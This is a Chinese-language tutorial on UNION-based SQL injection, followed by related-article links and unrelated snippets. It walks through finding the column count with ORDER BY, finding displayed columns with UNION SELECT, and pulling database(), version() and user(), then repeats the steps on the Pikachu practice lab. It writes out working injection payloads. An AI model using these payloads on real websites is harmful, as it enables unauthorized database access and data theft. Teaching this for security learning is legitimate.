SQL注入之联合查询注入
SQL注入之联合查询注入
一、联合查询注入原理
联合查询注入是一种常见的SQL注入攻击手法,其核心原理是利用SQL中的UNION操作符将多个SELECT语句的结果集合并,从而返回一个统一的结果集。在使用UNION时,必须确保前后两个查询的列数相同,且对应列的数据类型兼容。攻击者通过构造恶意查询,将数据库中的敏感信息(如数据库名称、表名、列名等)与正常查询结果一并输出,从而窃取关键数据。这种攻击方式通常用于探测数据库结构并获取未经授权的信息。
二、联合查询注入方法
联合查询注入的方法一共分三步:
- 确定列数:通过
ORDER BY子句利用二分法确定查询的列数(超出列数时会报错)。 - 确定可显示列:利用
UNION SELECT,将数字或字符串替换到不同列,找出回显数据的列。 - 获取数据:构造恶意查询,获取数据库中的敏感信息。
例如某个功能的SQL语句如下:
SELECT id, name, age, sex FROM students WHERE name LIKE '%用户输入%'
①确认列数
我们可以在【用户输入】中输入 1' ORDER BY 4 --,此时 SQL 语句会被拼接为:
SELECT id, name, age, sex FROM students WHERE name LIKE '%1' ORDER BY 4 --%'
当使用 ORDER BY 4 时,SQL 语句不会报错;然而,当使用 ORDER BY 5 时,SQL 语句会抛出错误:ERROR 1054 (42S22): Unknown column '5' in 'order clause'。
通过观察是否出现报错,我们可以确定查询结果中的列数。
②确定可显示列
由于 SQL 查询语句中的字段不会全部显示在页面上或通过接口返回,因此我们需要通过 UNION SELECT 将数字或字符串替换到不同的列,以确定回显数据的位置。
我们可以在【用户输入】中输入 1' UNION SELECT 1, 2, 3, 4 --,此时 SQL 语句会被拼接为:
SELECT id, name, age, sex FROM students WHERE name LIKE '%1' UNION SELECT 1, 2, 3, 4 --%'
通过观察页面,我们可以查找是否有数据显示为 1、2、3 或 4(如果原本数据中已经存在 1、2、3、4,则可以替换为其他数据)。如果存在,则这些位置即为可显示列。
③获取数据
在找到可显示列后,我们就可以利用这些位置查询所需的数据。例如,假设位置 3 是可显示列,我们可以在【用户输入】中输入 1' UNION SELECT 1, 2, user(), 4 --,此时 SQL 语句会被拼接为:
SELECT id, name, age, sex FROM students WHERE name LIKE '%1' UNION SELECT 1, 2, user(), 4 --%'
通过这种方式,我们可以在页面上查看到 SELECT user() 的返回内容。
三、联合查询注入实例
在Pikachu中,进行实践。
①确认列数
在输入框中分别输入以下内容:
1' order by 3 #

1' order by 4 #

通过观察页面响应,可以确认查询结果的列数为 3。
②确定可显示列
在输入框输入:1' UNION SELECT 1, 2, 3 #

发现三个字段均可显示
③获取数据
在输入框输入:1' UNION SELECT database(), version(), user() #

随便在某个字段进行查询脱库
SQL注入之联合查询注入的更多相关文章
- base64变形注入与联合查询注入的爱情故事
先来写一下GET的知识点: 1.知道了convart函数(CONVERT函数是把日期转换为新数据类型的通用函数) 2.Illegal mix of collations for operation ' ...
- 记一次SQL联合查询注入工具的编写
这是一个ASP网站的简单SQL注入检测和利用的工具,主要的功能是简单的检测出SQL注入漏洞,可以使用该id存在的SQL注入来获取数据库中的网站管理员的表名和字段名,猜解数据库中该表的字段数,最后通过联 ...
- MySQL手注之联合查询注入
了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数 必须有两条以上的select语句组成 列的数据类型必须兼容 ...
- Less1-union select 联合查询注入
在学习之前,我们要知道,什么是 SQL 注入? 一句话来说,攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的. SQL注入漏洞的危害是很大的,常常会导致整个数 ...
- SQL注入之堆叠注入(堆查询注入)
Stached injection -- 堆叠注入 0x00 堆叠注入的定义 Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...
- sql注入之双查询注入
双查询注入前需要了解什么是子查询 子查询可以理解在一个select语句中再插入一个select 里面的select语句就是子查询 例子:select concat((select database() ...
- 【串线篇】SQL映射文件-联合查询(完结association+cellection)
1.级联属性的方式封装查出1-1 查钥匙的时候顺别把对应的级联的那把锁也查出来 1).两个JavaBean,Key里有对应的Lock(private Lock lock;//当前钥匙能开哪个锁:) 2 ...
- SQL多表联合查询
通过连接运算符可以实现多个表查询.连接是关系数据库模型的主要特点,也是它区别于其它类型数据库管理系统的一个标志. 在关系数 据库管理系统中,表建立时各数据之间的关系不必确定,常把一个实体的所有信息存放 ...
- SQL多表联合查询(交叉连接,内连接,外连接)
连接查询: 交叉连接: 交叉连接返回的结果是被连接的两个表中所有数据行的笛卡尔积,也就是返回第一个表中符合查询条件的数据航数乘以第二个表中符合,查询条件的数据行数,例如department ...
- 一个对inner jion ...on 的sql多表联合查询的练习
create database practiceSql; use practiceSql; -- create table student( `id` bigint not null auto_inc ...
随机推荐
- 反编译工具之Jadx
jadx 是一款功能强大的反编译工具,使用起来简单方便(拖拽式操作),不光提供了命令行程序,还提供了 GUI 程序.一般情况下,我们直接使用 GUI 程序就可以了. jadx 支持 Windows.L ...
- js之模块导入与导出:export、export default、module.exports、exports
前两者export.export default可为一组,是es6的规范,和import匹配,import是es6中的语法标准:后两者module.exports.exports可为一组,是commo ...
- Vue 模版解析
1.大括号表达式 (1)在MVVM()中接收并保存配置对象 (2)调用Compile编译函数,将el和vm传入 function MVVM (option) { this.$option = opti ...
- vue自定义事件及应用场景
自定义事件 <fuzujian :shijianming='fangfa'></fuzujian>//fangfa是父组件的方法 接收使用:props:[shijianming ...
- C#调用Python脚本的方式(一),以PaddleOCR-GUI为例
前言 每种语言都有每种语言的优势,Python由于其强大的生态,很多任务通过调用包就可以实现,那么学会从C#项目中调用Python脚本完成任务就很重要.C#调用Python代码有多种方式,如果Pyth ...
- 百度地图各种控件:地图平移缩放控件NavigationControl、地图类型控件MapTypeControl
注:代码复制即可用,标色代码为主要代码 百度地图提供了如下控件: 1.Control:控件的抽象基类,所有控件均继承此类的方法.属性.通过此类您可实现自定义控件. 2.NavigationContro ...
- flutter问题汇总
Text文字居中 Text( 'You will need to post a photo before you can play!', textAlign: ...
- RabbitMQ, Windows Server 上服务总线的替代品
RabbitMQ, Windows Server 上服务总线的替代品 https://www.robfox.io/2017/04/17/rabbitmq-alternative-service-bus ...
- 用 16G 内存存放 30亿数据(Java Map)转载
在讨论怎么去重,提出用 direct buffer 建 btree,想到应该有现成方案,于是找到一个好东西: MapDB - MapDB : http://www.mapdb.org/ 以下来自:ko ...
- PHP 简易的BASE64加密
有这样一个有趣的公式:x<100; (x*53*17)%100 = x;这个公司的原理:53*17=901,x*901,的数后2位数还是x:任何符合 a * b = 100 * n +1 的值 ...